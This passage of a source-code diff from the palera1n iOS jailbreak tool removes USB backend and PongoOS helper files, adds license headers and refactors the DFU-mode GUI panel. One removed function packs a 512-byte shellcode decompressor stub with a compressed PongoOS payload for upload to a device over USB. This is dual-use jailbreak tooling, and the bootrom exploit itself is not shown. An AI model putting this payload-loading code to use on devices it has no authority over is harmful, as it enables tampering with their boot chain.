||||
handle->pid = pid;
|
||||
handle->device = NULL;
|
||||
}
|
||||
|
||||
#endif // __APPLE__
|
||||
@@ -1,39 +0,0 @@
|
||||
#ifndef __APPLE__
|
||||
|
||||
#ifndef LIBUSB_BACKEND_H
|
||||
#define LIBUSB_BACKEND_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <libusb-1.0/libusb.h>
|
||||
|
||||
#define USB_TIMEOUT (5)
|
||||
|
||||
enum usb_transfer {
|
||||
USB_TRANSFER_OK,
|
||||
USB_TRANSFER_ERROR,
|
||||
USB_TRANSFER_STALL,
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
enum usb_transfer ret;
|
||||
uint32_t sz;
|
||||
} transfer_ret_t;
|
||||
|
||||
typedef struct {
|
||||
uint16_t vid, pid;
|
||||
struct libusb_device_handle *device;
|
||||
} usb_handle_t;
|
||||
|
||||
void close_usb_handle(usb_handle_t *handle);
|
||||
void reset_usb_handle(const usb_handle_t *handle);
|
||||
bool wait_usb_handle(usb_handle_t *handle);
|
||||
void usb_async_cb(struct libusb_transfer *transfer);
|
||||
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret);
|
||||
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret);
|
||||
bool send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret);
|
||||
bool send_interface_bulk_transfer(const usb_handle_t *handle, void *data, int len);
|
||||
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
|
||||
|
||||
#endif // LIBUSB_BACKEND_H
|
||||
|
||||
#endif // __APPLE__
|
||||
@@ -1,149 +0,0 @@
|
||||
#include "pongo_helper.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <lz4.h>
|
||||
#include <lz4hc.h>
|
||||
|
||||
#include "shim.h"
|
||||
|
||||
#include "../utils.h"
|
||||
#include "../globals.h"
|
||||
#include "../m8/dfu.h"
|
||||
|
||||
#include "../gen/payloads/lz4dec.h"
|
||||
|
||||
static bool compress_pongo(uint8_t **out, size_t *out_len)
|
||||
{
|
||||
const uint8_t *src = g_payload_pongo.data;
|
||||
int src_size = (int)g_payload_pongo.data_len;
|
||||
|
||||
int max_size = LZ4_compressBound(src_size);
|
||||
|
||||
uint8_t *buf = malloc(max_size);
|
||||
if (!buf) return false;
|
||||
|
||||
int size = LZ4_compress_HC(
|
||||
(const char *)src,
|
||||
(char *)buf,
|
||||
src_size,
|
||||
max_size,
|
||||
LZ4HC_CLEVEL_MAX
|
||||
);
|
||||
|
||||
if (size <= 0) {
|
||||
free(buf);
|
||||
return false;
|
||||
}
|
||||
|
||||
*out = buf;
|
||||
*out_len = (size_t)size;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
#define SHELLCODE_SZ (512)
|
||||
|
||||
bool prepare_pongo(uint8_t **out, size_t *out_len)
|
||||
{
|
||||
size_t pongoSize;
|
||||
uint8_t *pongo;
|
||||
|
||||
if (!compress_pongo(&pongo, &pongoSize))
|
||||
return false;
|
||||
|
||||
uint8_t *payload = malloc(SHELLCODE_SZ + pongoSize);
|
||||
if (!payload) {
|
||||
free(pongo);
|
||||
return false;
|
||||
}
|
||||
|
||||
memcpy(payload, payloads_lz4dec_bin, SHELLCODE_SZ);
|
||||
memcpy(payload + SHELLCODE_SZ, pongo, pongoSize);
|
||||
|
||||
free(pongo);
|
||||
|
||||
pongo = payload;
|
||||
pongoSize += SHELLCODE_SZ;
|
||||
|
||||
uint32_t *pongoSizeInData = (uint32_t *)(pongo + 0x1fc);
|
||||
*pongoSizeInData = (uint32_t)pongoSize - SHELLCODE_SZ;
|
||||
|
||||
*out = pongo;
|
||||
*out_len = pongoSize;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
int issue_pongo_command(const usb_handle_t *handle, const char *command) {
|
||||
uint32_t outpos = 0;
|
||||
uint32_t outlen = 0;
|
||||
transfer_ret_t tx_status;
|
||||
uint8_t in_progress = 1;
|
||||
|
||||
char command_buf[512];
|
||||
char stdout_buf[0x2000];
|
||||
|
||||
memset(stdout_buf, 0, sizeof(stdout_buf));
|
||||
|
||||
if (command != NULL) {
|
||||
size_t len = strlen(command);
|
||||
|
||||
if (len > 510) {
|
||||
LOG_ERROR("Pongo command too long: %s", command);
|
||||
return -1;
|
||||
}
|
||||
|
||||
LOG_VERBOSE("Executing PongoOS command: '%s'", command);
|
||||
|
||||
snprintf(command_buf, sizeof(command_buf), "%s\n", command);
|
||||
len = strlen(command_buf);
|
||||
|
||||
if (!send_interface_control_request(handle, 0x21, 4, 1, 0, NULL, 0, &tx_status)) return -1;
|
||||
if (!send_interface_control_request(handle, 0x21, 3, 0, 0, command_buf, len, &tx_status)) return -1;
|
||||
|
||||
// return early if the command is boot, we dont care about results
|
||||
if (strncmp(command,"boot",4) == 0) return 0;
|
||||
}
|
||||
fetch_output:
|
||||
while (in_progress) {
|
||||
if (!send_interface_control_request(handle, 0xA1, 2, 0, 0, &in_progress, sizeof(in_progress), &tx_status)) goto bad;
|
||||
|
||||
if (in_progress == 0) break;
|
||||
|
||||
if (outpos + 0x1000 >= sizeof(stdout_buf)) {
|
||||
memmove(stdout_buf, stdout_buf + 0x1000, sizeof(stdout_buf) - 0x1000);
|
||||
outpos -= 0x1000;
|
||||
}
|
||||
|
||||
if (!send_interface_control_request(handle, 0xA1, 1, 0, 0, stdout_buf + outpos, 0x1000, &tx_status)) goto bad;
|
||||
|
||||
outlen = 0x1000;
|
||||
outpos += outlen;
|
||||
}
|
||||
bad:
|
||||
if (tx_status.ret != USB_TRANSFER_OK) {
|
||||
LOG_ERROR("Pongo USB error: %d", tx_status.ret);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool upload_buffer_to_pongo(usb_handle_t *handle, const void *data, size_t length) {
|
||||
if (data == NULL || length == 0) {
|
||||
LOG_ERROR("Invalid data buffer or length");
|
||||
return false;
|
||||
}
|
||||
|
||||
LOG_VERBOSE("Uploading %zu bytes to PongoOS...", length);
|
||||
|
||||
bool ret = false;
|
||||
transfer_ret_t tx_status = {0};
|
||||
|
||||
ret = send_interface_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, (void *)&length, 4, &tx_status);
|
||||
ret = send_interface_bulk_transfer(handle, (void *)data, (uint32_t)length);
|
||||
|
||||
return ret;
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
#ifndef USB_PONGO_H
|
||||
#define USB_PONGO_H
|
||||
|
||||
#include "shim.h"
|
||||
|
||||
#define PONGO_MAX_SZ (0x7fe00)
|
||||
#define MACHO_MAGIC_32 (const unsigned char[]){ 0xCE, 0xFA, 0xED, 0xFE }
|
||||
#define MACHO_MAGIC_64 (const unsigned char[]){ 0xCF, 0xFA, 0xED, 0xFE }
|
||||
#define CMD_LENGTH_MAX 512
|
||||
|
||||
bool prepare_pongo(uint8_t **out, size_t *out_len);
|
||||
int issue_pongo_command(const usb_handle_t *handle, const char *command);
|
||||
bool upload_buffer_to_pongo(usb_handle_t *handle, const void *data, size_t length);
|
||||
|
||||
#endif // USB_PONGO_H
|
||||
@@ -1,38 +0,0 @@
|
||||
#include "shim.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifdef __APPLE__
|
||||
# include "iokit/usb_iokit.h"
|
||||
#else
|
||||
# include "libusb/usb_libusb.h"
|
||||
#endif
|
||||
|
||||
bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, transfer_ret_t *transfer_ret) {
|
||||
bool ret = false;
|
||||
void *p_data;
|
||||
|
||||
if(w_len == 0) {
|
||||
ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, transfer_ret);
|
||||
} else if((p_data = malloc(w_len)) != NULL) {
|
||||
memset(p_data, '\0', w_len);
|
||||
ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, transfer_ret);
|
||||
free(p_data);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) {
|
||||
bool ret = false;
|
||||
void *p_data;
|
||||
|
||||
if(w_len == 0) {
|
||||
ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, usb_abort_timeout, transfer_ret);
|
||||
} else if((p_data = malloc(w_len)) != NULL) {
|
||||
memset(p_data, '\0', w_len);
|
||||
ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, usb_abort_timeout, transfer_ret);
|
||||
free(p_data);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
@@ -1,14 +0,0 @@
|
||||
#ifndef BACKEND_SHIM_H
|
||||
#define BACKEND_SHIM_H
|
||||
|
||||
#ifdef __APPLE__
|
||||
# include "iokit/usb_iokit.h"
|
||||
#else
|
||||
# include "libusb/usb_libusb.h"
|
||||
#endif
|
||||
|
||||
bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, transfer_ret_t *transfer_ret);
|
||||
bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret);
|
||||
char *get_usb_serial_number(usb_handle_t *handle);
|
||||
|
||||
#endif // BACKEND_SHIM_H
|
||||
-86
@@ -1,86 +0,0 @@
|
||||
#include "utils.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
#include <stdarg.h>
|
||||
#ifdef _WIN32
|
||||
# include <windows.h>
|
||||
#endif
|
||||
|
||||
#include "globals.h"
|
||||
#include "paleinfo.h"
|
||||
|
||||
static const char* level_color(log_level_t level) {
|
||||
switch (level) {
|
||||
case LOG_INFO: return CYAN_COLOR;
|
||||
case LOG_SUCCESS: return GREEN_COLOR;
|
||||
case LOG_WARN: return YELLOW_COLOR;
|
||||
case LOG_ERROR: return RED_COLOR;
|
||||
case LOG_VERBOSE: return RESET_COLOR;
|
||||
default: return RESET_COLOR;
|
||||
}
|
||||
}
|
||||
|
||||
static const char* level_name(log_level_t level) {
|
||||
switch (level) {
|
||||
case LOG_INFO: return "INFO";
|
||||
case LOG_SUCCESS: return "SUCCESS";
|
||||
case LOG_WARN: return "WARNING";
|
||||
case LOG_ERROR: return "ERROR";
|
||||
case LOG_VERBOSE: return "VERBOSE";
|
||||
default: return "LOG";
|
||||
}
|
||||
}
|
||||
|
||||
static const char* get_timestamp(void) {
|
||||
static char buffer[32];
|
||||
time_t raw_time = time(NULL);
|
||||
struct tm *time_info = localtime(&raw_time);
|
||||
|
||||
if (time_info) {
|
||||
// YYYY-MM-DD HH:MM:SS
|
||||
strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", time_info);
|
||||
} else {
|
||||
snprintf(buffer, sizeof(buffer), "0000-00-00 00:00:00");
|
||||
}
|
||||
return buffer;
|
||||
}
|
||||
|
||||
void log_write(log_level_t level, const char *fmt, ...) {
|
||||
if (palerain_flags & palerain_option_tui)
|
||||
return;
|
||||
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
|
||||
char tag_buf[32];
|
||||
snprintf(tag_buf, sizeof(tag_buf), "<%s>", level_name(level));
|
||||
|
||||
if (palerain_flags & palerain_option_no_colors) {
|
||||
printf(" %s%9s%s [%s%s%s] => ",
|
||||
"", tag_buf, "",
|
||||
"", get_timestamp(), "");
|
||||
} else {
|
||||
printf(" %s%9s%s [%s%s%s] => ",
|
||||
level_color(level), tag_buf, RESET_COLOR,
|
||||
GRAY_COLOR, get_timestamp(), RESET_COLOR);
|
||||
}
|
||||
|
||||
vprintf(fmt, args);
|
||||
printf("\n");
|
||||
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void sleep_ms(unsigned ms) {
|
||||
#ifdef _WIN32
|
||||
Sleep(ms);
|
||||
#else
|
||||
struct timespec ts;
|
||||
|
||||
ts.tv_sec = ms / 1000;
|
||||
ts.tv_nsec = (ms % 1000) * 1000000L;
|
||||
nanosleep(&ts, NULL);
|
||||
#endif
|
||||
}
|
||||
-54
@@ -1,54 +0,0 @@
|
||||
#ifndef CONSTANTS_H
|
||||
#define CONSTANTS_H
|
||||
|
||||
#define PALERAIN_VERSION "3.0.0"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <time.h>
|
||||
|
||||
#define RESET_COLOR "\033[0m"
|
||||
#define RED_COLOR "\033[31m"
|
||||
#define GREEN_COLOR "\033[32m"
|
||||
#define YELLOW_COLOR "\033[33m"
|
||||
#define BLUE_COLOR "\033[34m"
|
||||
#define MAGENTA_COLOR "\033[35m"
|
||||
#define CYAN_COLOR "\033[36m"
|
||||
#define WHITE_COLOR "\033[37m"
|
||||
#define GRAY_COLOR "\033[90m"
|
||||
|
||||
typedef enum {
|
||||
LOG_INFO,
|
||||
LOG_SUCCESS,
|
||||
LOG_WARN,
|
||||
LOG_ERROR,
|
||||
LOG_VERBOSE
|
||||
} log_level_t;
|
||||
|
||||
#define LOG(fmt, ...) log_write(LOG_INFO, fmt, ##__VA_ARGS__)
|
||||
#define LOG_SUCCESS(fmt, ...) log_write(LOG_SUCCESS, fmt, ##__VA_ARGS__)
|
||||
#define LOG_WARN(fmt, ...) log_write(LOG_WARN, fmt, ##__VA_ARGS__)
|
||||
#define LOG_ERROR(fmt, ...) log_write(LOG_ERROR, fmt, ##__VA_ARGS__)
|
||||
#define LOG_VERBOSE(fmt, ...) log_write(LOG_VERBOSE, fmt, ##__VA_ARGS__)
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
void log_write(log_level_t level, const char *fmt, ...);
|
||||
void sleep_ms(unsigned ms);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
static inline const char* time_now() {
|
||||
static char buf[16];
|
||||
time_t t = time(NULL);
|
||||
struct tm *tm_info = localtime(&t);
|
||||
strftime(buf, sizeof(buf), "%H:%M:%S", tm_info);
|
||||
return buf;
|
||||
}
|
||||
|
||||
#endif // CONSTANTS_H
|
||||
+29
-2
@@ -1,10 +1,37 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_GUI
|
||||
|
||||
#include "AppFrame.hpp"
|
||||
|
||||
#include <wx/wx.h>
|
||||
#include "../utils.h"
|
||||
#include "../event.hpp"
|
||||
#include "../globals.h"
|
||||
#include "../events/event.hpp"
|
||||
|
||||
wxDEFINE_EVENT(EVT_DEVICE_STATE_UPDATE, wxCommandEvent);
|
||||
|
||||
|
||||
+28
-1
@@ -1,10 +1,37 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef APPFRAME_H
|
||||
#define APPFRAME_H
|
||||
|
||||
#ifdef WITH_GUI
|
||||
|
||||
#include <wx/wx.h>
|
||||
#include "../event.hpp"
|
||||
#include "../events/event.hpp"
|
||||
|
||||
#include "MainPanel.hpp"
|
||||
#include "SettingsPanel.hpp"
|
||||
|
||||
+28
-1
@@ -1,8 +1,35 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef DEVICEPANEL_H
|
||||
#define DEVICEPANEL_H
|
||||
|
||||
#include <wx/wx.h>
|
||||
#include "../event.hpp"
|
||||
#include "../events/event.hpp"
|
||||
|
||||
class MainFrame;
|
||||
class DevicePanel : public wxPanel
|
||||
|
||||
+137
-149
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_GUI
|
||||
|
||||
#include "DfuPanel.hpp"
|
||||
@@ -5,9 +32,8 @@
|
||||
#include "AppFrame.hpp"
|
||||
#include "DevicePanel.hpp"
|
||||
|
||||
#include "../event.hpp"
|
||||
#include "../events/event.hpp"
|
||||
#include "../sequence.hpp"
|
||||
#include "../utils.h"
|
||||
#include "../globals.h"
|
||||
#include "../paleinfo.h"
|
||||
|
||||
@@ -19,19 +45,17 @@
|
||||
#include <wx/bitmap.h>
|
||||
#include <wx/statline.h>
|
||||
|
||||
#include "../gen/images/atv_std_brd.h"
|
||||
#include "../gen/images/ipad.h"
|
||||
#include "../gen/images/ipadmini.h"
|
||||
#include "../gen/images/iphone6s.h"
|
||||
#include "../gen/images/iphone7.h"
|
||||
#include "../gen/images/iphone8.h"
|
||||
#include "../gen/images/iphonese.h"
|
||||
#include "../gen/images/iphonex.h"
|
||||
#include "../gen/images/ipodtouch.h"
|
||||
#include "../gen/images/siriremote.h"
|
||||
#include "../gen/images/logo.h"
|
||||
|
||||
#include <libirecovery.h>
|
||||
#include "../gen/embedded/atv_std_brd.h"
|
||||
#include "../gen/embedded/ipad.h"
|
||||
#include "../gen/embedded/ipadmini.h"
|
||||
#include "../gen/embedded/iphone6s.h"
|
||||
#include "../gen/embedded/iphone7.h"
|
||||
#include "../gen/embedded/iphone8.h"
|
||||
#include "../gen/embedded/iphonese.h"
|
||||
#include "../gen/embedded/iphonex.h"
|
||||
#include "../gen/embedded/ipodtouch.h"
|
||||
#include "../gen/embedded/siriremote.h"
|
||||
#include "../gen/embedded/logo.h"
|
||||
|
||||
DfuPanel::DfuPanel(MainFrame* frame, wxWindow* parent)
|
||||
: DevicePanel(frame, parent)
|
||||
@@ -40,7 +64,7 @@ DfuPanel::DfuPanel(MainFrame* frame, wxWindow* parent)
|
||||
|
||||
auto* root = new wxBoxSizer(wxHORIZONTAL);
|
||||
auto* left = new wxBoxSizer(wxVERTICAL);
|
||||
wxMemoryInputStream stream(images_logo_png, images_logo_png_len);
|
||||
wxMemoryInputStream stream(embedded_logo_png, embedded_logo_png_len);
|
||||
wxImage img(stream, wxBITMAP_TYPE_PNG);
|
||||
wxBitmap bmp(img);
|
||||
auto* logo = new wxStaticBitmap(this, wxID_ANY, bmp);
|
||||
@@ -131,20 +155,20 @@ void DfuPanel::SetDeviceState(const DeviceState& state)
|
||||
if (m_isEnteringDfu && state.mode == DeviceMode::DFU)
|
||||
{
|
||||
m_isEnteringDfu = false;
|
||||
m_headerText->SetLabel("Device entered DFU mode successfully.\n");
|
||||
m_headerText->SetLabel("Device entered DFU mode successfully.");
|
||||
|
||||
m_index = m_sequence.steps.size();
|
||||
m_stepRemaining = -1;
|
||||
m_actionExecutedIndex = -1;
|
||||
|
||||
const wxColour kInactive =
|
||||
const wxColour inactive =
|
||||
wxSystemSettings::GetColour(wxSYS_COLOUR_GRAYTEXT);
|
||||
|
||||
for (auto* lbl : m_stepLabels)
|
||||
lbl->SetForegroundColour(kInactive);
|
||||
lbl->SetForegroundColour(inactive);
|
||||
|
||||
for (auto* lbl : m_buttonLabels)
|
||||
lbl->SetForegroundColour(kInactive);
|
||||
lbl->SetForegroundColour(inactive);
|
||||
|
||||
if (!m_stagnentTimer.IsRunning())
|
||||
m_stagnentTimer.StartOnce(3000);
|
||||
@@ -194,10 +218,10 @@ void DfuPanel::OnShow(wxShowEvent& event)
|
||||
|
||||
void DfuPanel::LoadDevice(const std::string& productType)
|
||||
{
|
||||
const wxColour kActive =
|
||||
const wxColour active =
|
||||
wxSystemSettings::GetColour(wxSYS_COLOUR_HIGHLIGHTTEXT);
|
||||
|
||||
const wxColour kInactive =
|
||||
const wxColour inactive =
|
||||
wxSystemSettings::GetColour(wxSYS_COLOUR_GRAYTEXT);
|
||||
|
||||
m_sequence = ParseSequence(productType);
|
||||
@@ -221,53 +245,53 @@ void DfuPanel::LoadDevice(const std::string& productType)
|
||||
|
||||
if (m_sequence.imageName == "ipadmini")
|
||||
{
|
||||
imageData = images_ipadmini_png;
|
||||
imageSize = images_ipadmini_png_len;
|
||||
imageData = embedded_ipadmini_png;
|
||||
imageSize = embedded_ipadmini_png_len;
|
||||
}
|
||||
else if (m_sequence.imageName == "ipad")
|
||||
{
|
||||
imageData = images_ipad_png;
|
||||
imageSize = images_ipad_png_len;
|
||||
imageData = embedded_ipad_png;
|
||||
imageSize = embedded_ipad_png_len;
|
||||
}
|
||||
else if (m_sequence.imageName == "iphonese")
|
||||
{
|
||||
imageData = images_iphonese_png;
|
||||
imageSize = images_iphonese_png_len;
|
||||
imageData = embedded_iphonese_png;
|
||||
imageSize = embedded_iphonese_png_len;
|
||||
}
|
||||
else if (m_sequence.imageName == "iphone6s")
|
||||
{
|
||||
imageData = images_iphone6s_png;
|
||||
imageSize = images_iphone6s_png_len;
|
||||
imageData = embedded_iphone6s_png;
|
||||
imageSize = embedded_iphone6s_png_len;
|
||||
}
|
||||
else if (m_sequence.imageName == "iphone7")
|
||||
{
|
||||
imageData = images_iphone7_png;
|
||||
imageSize = images_iphone7_png_len;
|
||||
imageData = embedded_iphone7_png;
|
||||
imageSize = embedded_iphone7_png_len;
|
||||
}
|
||||
else if (m_sequence.imageName == "iphone8")
|
||||
{
|
||||
imageData = images_iphone8_png;
|
||||
imageSize = images_iphone8_png_len;
|
||||
imageData = embedded_iphone8_png;
|
||||
imageSize = embedded_iphone8_png_len;
|
||||
}
|
||||
else if (m_sequence.imageName == "iphonex")
|
||||
{
|
||||
imageData = images_iphonex_png;
|
||||
imageSize = images_iphonex_png_len;
|
||||
imageData = embedded_iphonex_png;
|
||||
imageSize = embedded_iphonex_png_len;
|
||||
}
|
||||
else if (m_sequence.imageName == "ipodtouch")
|
||||
{
|
||||
imageData = images_ipodtouch_png;
|
||||
imageSize = images_ipodtouch_png_len;
|
||||
imageData = embedded_ipodtouch_png;
|
||||
imageSize = embedded_ipodtouch_png_len;
|
||||
}
|
||||
else if (m_sequence.imageName == "siriremote")
|
||||
{
|
||||
imageData = images_siriremote_png;
|
||||
imageSize = images_siriremote_png_len;
|
||||
imageData = embedded_siriremote_png;
|
||||
imageSize = embedded_siriremote_png_len;
|
||||
}
|
||||
else if (m_sequence.imageName == "atv_std_brd")
|
||||
{
|
||||
imageData = images_atv_std_brd_png;
|
||||
imageSize = images_atv_std_brd_png_len;
|
||||
imageData = embedded_atv_std_brd_png;
|
||||
imageSize = embedded_atv_std_brd_png_len;
|
||||
}
|
||||
|
||||
if (imageData)
|
||||
@@ -318,7 +342,7 @@ void DfuPanel::LoadDevice(const std::string& productType)
|
||||
label
|
||||
);
|
||||
|
||||
lbl->SetForegroundColour(i == 0 ? kActive : kInactive);
|
||||
lbl->SetForegroundColour(i == 0 ? active : inactive);
|
||||
|
||||
m_stepsSizer->Add(lbl, 0, wxTOP, 5);
|
||||
m_stepLabels.push_back(lbl);
|
||||
@@ -340,7 +364,6 @@ void DfuPanel::StartSequence(const DfuSequence& seq)
|
||||
m_actionExecutedIndex = -1;
|
||||
|
||||
RunStep();
|
||||
m_timer.StartOnce(1000);
|
||||
}
|
||||
|
||||
void DfuPanel::RunStep()
|
||||
@@ -348,108 +371,91 @@ void DfuPanel::RunStep()
|
||||
if (m_sequence.steps.empty())
|
||||
return;
|
||||
|
||||
const wxColour kActive =
|
||||
const wxColour active =
|
||||
wxSystemSettings::GetColour(wxSYS_COLOUR_HIGHLIGHTTEXT);
|
||||
|
||||
const wxColour kInactive =
|
||||
const wxColour inactive =
|
||||
wxSystemSettings::GetColour(wxSYS_COLOUR_GRAYTEXT);
|
||||
|
||||
if (m_index < m_sequence.steps.size())
|
||||
{
|
||||
if (m_stepRemaining < 0)
|
||||
{
|
||||
m_stepRemaining = m_sequence.steps[m_index].duration;
|
||||
}
|
||||
else if (m_stepRemaining > 0)
|
||||
{
|
||||
--m_stepRemaining;
|
||||
}
|
||||
|
||||
if (m_stepRemaining == 0)
|
||||
{
|
||||
++m_index;
|
||||
|
||||
if (m_index < m_sequence.steps.size())
|
||||
